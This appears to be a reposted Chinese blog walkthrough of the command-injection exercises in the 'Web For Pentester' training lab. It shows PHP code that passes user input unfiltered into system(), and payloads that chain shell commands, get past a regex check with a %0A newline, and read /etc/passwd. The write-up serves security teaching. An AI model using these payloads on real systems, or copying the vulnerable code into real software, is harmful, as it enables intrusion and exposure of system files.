Web For Pentester1 - Commands injection
Posted APT-101
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Web For Pentester1 - Commands injection相关的知识,希望对你有一定的参考价值。
Example 1
源码:
<?php require_once("../header.php"); ?>
<pre>
<?php
system("ping -c 2 ".$_GET[\'ip\']);
?>
</pre>
<?php require_once("../footer.php"); ?>
解释:ip 参数无任何过滤,因此可以使用:;| ||来进行执行恶意命令
符号 | 说明 |
---|---|
A;B | A 不论正确与否都会执行 B 命令 |
A&B | A 后台运行,A 和 B 同时执行 |
A&&B | A 执行成功时候才会执行 B 命令 |
A|B | A 执行的输出结果,作为 B 命令的参数,A 不论正确与否都会执行 B 命令 |
A||B | A 执行失败后才会执行 B 命令 |
payload:
ip=127.0.0.1|id
ip=192.1681.1.1||id
ip=127.0.0.1;id
Example 2
源码:
<?php require_once("../header.php"); ?>
<pre>
<?php
if (!(preg_match(\'/^\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}.\\d{1,3}$/m\', $_GET[\'ip\']))) {
die("Invalid IP address");
}
system("ping -c 2 ".$_GET[\'ip\']);
?>
</pre>
<?php require_once("../footer.php"); ?>
解释:
这一关使用了 preg_match 正则检测我们输入的 ip ,如果 ip 不是 IP 格式的话就直接终止函数运行,但是这里使用了 /m
多行匹配模式,所以我们这里可以使用 %0a
换行
payload:
ip=127.0.0.1%0Aid
ip=127.0.0.1%0Acat%20/etc/passwd
Example 3
源码:
<?php require_once("../header.php"); ?>
<pre>
<?php
if (!(preg_match(\'/^\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}.\\d{1,3}$/\', $_GET[\'ip\']))) {
header("Location: example3.php?ip=127.0.0.1");
}
system("ping -c 2 ".$_GET[\'ip\']);
?>
</pre>
<?php require_once("../footer.php"); ?>
解释:
preg_match 去掉了 /m 多行匹配模式,检测到 ip 不是 IP 地址格式的话,就重定向为:
/commandexec/example3.php?ip=127.0.0.1
虽然重定向了,但是实际上代码还是执行了我们的输入,只是重定向后刷新了一下,我们没有看到执行结果:
payload:
ip=127.0.0.1;id
ip=127.0.0.1|id
ip=233||id
OVER!
以上是关于Web For Pentester1 - Commands injection的主要内容,如果未能解决你的问题,请参考以下文章
Web For Pentester1 -Directory traversal
Web For Pentester1 - Commands injection
Web For Pentester1 -File Include
Web For Pentester1 - LDAP attacks ,File Upload,XML attacks
text 针对africacheck.org的paulmwatson / claim_review_for_domain_from_commoncrawl.py的输出示例,执行于2018-01-09